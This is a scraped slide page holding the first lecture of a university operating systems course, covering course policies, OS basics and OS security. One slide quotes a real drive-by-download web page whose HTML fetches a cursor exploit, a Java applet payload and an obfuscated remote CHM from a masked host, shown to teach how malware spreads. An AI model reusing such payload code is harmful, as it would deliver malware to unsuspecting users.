CS354: Operating Systems Spring 2016

Slides:



Advertisements
Similar presentations
Operating System.
Advertisements

Introduction to CS170. CS170 has multiple sections Each section has its own class websites URLs for different sections: Section 000:
Introduction to Operating Systems CS-2301 B-term Introduction to Operating Systems CS-2301, System Programming for Non-majors (Slides include materials.
CMPT 300: Operating Systems I Dr. Mohamed Hefeeda
1 School of Computing Science Simon Fraser University CMPT 300: Operating Systems I Dr. Mohamed Hefeeda.
Wednesday, June 07, 2006 “Unix is user friendly … it’s just picky about it’s friends”. - Anonymous.
COMP 14 – 02: Introduction to Programming Andrew Leaver-Fay August 31, 2005 Monday/Wednesday 3-4:15 pm Peabody 217 Friday 3-3:50pm Peabody 217.
Chapter 9 Security Malware Defenses. Malware Can be used for a form of blackmail. Example: Encrypts files on victim disk, then displays message.
COP4020/CGS5426 Programming languages Syllabus. Instructor Xin Yuan Office: 168 LOV Office hours: T, H 10:00am – 11:30am Class website:
Spring 2008 Mark Fontenot CSE 1341 Principles of Computer Science I Note Set 1 1.
Computer Concepts 2013 Chapter 4 Operating Systems and File Management.
Introduction COMP104: Fundamentals and Methodology.
Spring 2008 Mark Fontenot CSE Honors Principles of Computer Science I Note Set 1 1.
CT 1503 Network Operating Systems Instructor: Dr. Najla Al-Nabhan 2014.
COMP Introduction to Programming Yi Hong May 13, 2015.
Introduction and Overview Questions answered in this lecture: What is an operating system? How have operating systems evolved? Why study operating systems?
1 Introduction to Operating Systems 9/16/2008 Lecture #1.
Operating Systems TexPREP Summer Camp Computer Science.
CS355 Advanced Computer Architecture Fatima Khan Prince Sultan University, College for Women.
CS 444 Introduction to Operating Systems
CS 390 Unix Programming Summer Unix Programming - CS 3902 Course Details Online Information Please check.
CS Fall 2011 CS 423 – Operating Systems Design Lecture 1 - Introduction Klara Nahrstedt Fall 2011.
Welcome to CS 115! Introduction to Programming. Class URL Write this down!
(1) ECE 3056: Architecture, Concurrency and Energy in Computation Lecture Notes by MKP and Sudhakar Yalamanchili Sudhakar Yalamanchili (Some small modifications.
Operating Systems Session 1. Contact details TA: Alexander(Sasha) Apartsin ◦ ◦ Office hours: Homepage:
COP3502: Introduction to Computer Science Yashas Shankar.
Advanced Database Course (ESED5204) Eng. Hanan Alyazji University of Palestine Software Engineering Department.
CT 1503 Network Operating Systems Instructor: Dr. Najla Al-Nabhan 2014.
Course Information Sarah Diesburg Operating Systems COP 4610.
Course Information Andy Wang Operating Systems COP 4610 / CGS 5765.
Course Overview Ted Baker  Andy Wang COP 5641 / CIS 4930.
Operating Systems and Systems Programming CS162 Teaching Staff.
IST 210: Organization of Data
January 16, 2007 COMS 4118 (Operating Systems I) Henning Schulzrinne Dept. of Computer Science Columbia University
CS307 Operating Systems Introduction Fan Wu Department of Computer Science and Engineering Shanghai Jiao Tong University Spring 2013.
Welcome to CS 101! Introduction to Computing I. Greeting! Kiho Lim CS 101 – Teaching Assistant
COP4610/CGS5765 Operating Systems Syllabus. Instructor Xin Yuan Office: 168 LOV Office hours: W M F 9:10am – 10:00am, or by appointments.
Course Overview 1 FCM 710 Architecture of Secure Operating Systems Prof. Shamik Sengupta Office 4210 N
Welcome to CS 101! Introduction to Computers Fall 2015.
Cloud Computing – UNIT - II. VIRTUALIZATION Virtualization Hiding the reality The mantra of smart computing is to intelligently hide the reality Binary->
Operating Systems CMPSC 473 Introduction and Overview August 24, Lecture 1 Instructor: Bhuvan Urgaonkar.
IST 210: ORGANIZATION OF DATA Introduction IST210 1.
Operating Systems (CS 340 D) Dr. Abeer Mahmoud Princess Nora University Faculty of Computer & Information Systems Computer science Department.
Introduction to Operating Systems
Andy Wang Object Oriented Programming in C++ COP 3330
IST256 : Applications Programming for Information Systems
Course Information Mark Stanovich Principles of Operating Systems
TexPREP Summer Camp Computer Science
Operating Systems: Principles and Practice Cpr E 308
Programming COMP104: Fundamentals and Methodology Introduction.
Operating Systems and Systems Programming
Lecture Note 0: Course Introduction
Welcome to CS 1010! Algorithmic Problem Solving.
Andy Wang Operating Systems COP 4610 / CGS 5765
Andy Wang Object Oriented Programming in C++ COP 3330
Andy Wang Operating Systems COP 4610 / CGS 5765
Andy Wang Operating Systems COP 4610 / CGS 5765
Andy Wang Operating Systems COP 4610 / CGS 5765
CS122B: Projects in Databases and Web Applications Winter 2019
CS122B: Projects in Databases and Web Applications Spring 2018
Andy Wang Operating Systems COP 4610 / CGS 5765
Lecture Note 0: Course Introduction
Instructor: Xiuwen Liu Department of Computer Science
Andy Wang Operating Systems COP 4610 / CGS 5765
EECE.4810/EECE.5730 Operating Systems
Sarah Diesburg Operating Systems CS 3430
CS201 – Course Expectations
Presentation transcript:

CS354: Operating Systems Spring 2016 Dongyan Xu Department of Computer Science Purdue University

General Information Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (2nd Edition, 2015) Lab platform: Xinu on BeagleBone Black (BBB) An ARM processor

Staff Dongyan Xu (8th time teaching CS354) Ph.D. University of Illinois at Urbana-Champaign Full Prof. (2013-present), Assoc. Prof. (2007-13), Assist. Prof. (2001-2007) Research: Virtualization (VMware, Xen, KVM…) Malware (rootkits, botnets, APTs…) defense Cloud computing Binary reverse engineering Office hours (WF 2:30pm-3:30pm,LWSN1173)

Staff Teaching Assistants Office hours to be announced Xiangyu Bu Sahithya Jagadish Office hours to be announced

On-line Discussion Venue: Piazza Please join by accessing: https://piazza.com/purdue/spring2016/cs354 All announcements will be posted there Discussion on labs It is your responsibility to check for official announcements, clarification of lab specification, and answers to lab-related questions. But grades will still be posted on Blackboard Learn https://mycourses.purdue.edu

PSOs There are no PSO sessions this week The labs will be explained in PSOs. Attendance is not mandatory (but encouraged)

Grading Grade breakdown: Midterm: 22% Final: 28% Projects: 50% In-class Quizzes: 3% bonus No written homework

Late/Grading Policies Check Blackboard Learn for grade posting Late policy for labs No late submission accepted, but you will have 3 non-emergency Bonus Days (penalty-free) Projects will be done individually General discussion allowed Must be on your own when coding starts Don’t copy the one you found online I checked the code. It’s pretty bad Will check your submissions against it

Re-Grading Policy You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading Re-grading requests for exams need to be in writing After the re-grading period, no re-grading request will be honored.

Academic Integrity Policy Academic integrity: lifeline of education Your projects, quizzes and exams must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get Zero for the project/quiz/exam at first offense F grade for the course thereafter Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating

Lecture Format Help you understand important and hard OS concepts, design, and implementation Lectures do not cover everything Not all questions in exams are from lectures But many (80%?) of them are  Your responsibility Attend lectures Read code, textbook, lecture notes Labs, quizzes, exams Periodically check web page Read/participate in Piazza discussion

Course Organization OS overview Computer architecture overview Process scheduling and management Process synchronization Memory management Interrupt processing 7. Device drivers 8. File system

Pre-requisite CS250 (Computer Architecture) CS251 (Data Structures) CS252 (Systems Programming) CS240 (C Programming) Or equivalent

Introduction A computer system consists of Hardware System programs 1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first.  A computer system consists of Hardware System programs Application programs

Interfacing with Operating System

What is an Operating System (OS) It is a system program that sits between hardware and application programs. The program starts running at boot time. Who boots up the OS? BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed

What does an OS do? “To serve and to protect” It offers services that are common to all applications: Program execution, printing, windowing, file access, resource allocation It enables multitasking Allows multiple processes running at the same time It offers protection/security. E.g., a user cannot see files of other users.

(Lack of) OS Security Malware Botnets Worms Why do they spread so quickly? Spyware, keylogger, identity theft, blackmail… GREETINGS FROM GENERAL ENCRYPTION! TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS

A Real Incident Upon Clicking a malicious URL http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html <html><head><title></title></head><body> <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> try{ document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58 &#109&#104&#116&#109&#108&#58&#102&#105&#108&#101: //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){} </script> </body></html> MS05-002 MS03-011 MS04-013 22 unwanted programs installed without user’s consent!

What does an operating system offer? Reliability Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running. Fairness access to resources has to be fair across users with the same priority. Support for multiple users It allows running multiple users in the same machine simultaneously.

The Operating System Zoo Mainframe OS Server OS Multiprocessor OS Personal computer OS Real-time OS Embedded OS Smartphone OS Browser OS Cloud OS OS for Oses (hypervisors) 21

Windows 10 22

Android and iOS 23

Android Platform http://code.google.com/android/ The first complete, open, and free mobile platform 24

Wireless Sensor Nodes 25

Blue Gene/L Supercomputer 26

Blue Gene/L OS 27

Summary Course overview Policy and requirement What is OS? Coming up next: Review of computer architecture and program structure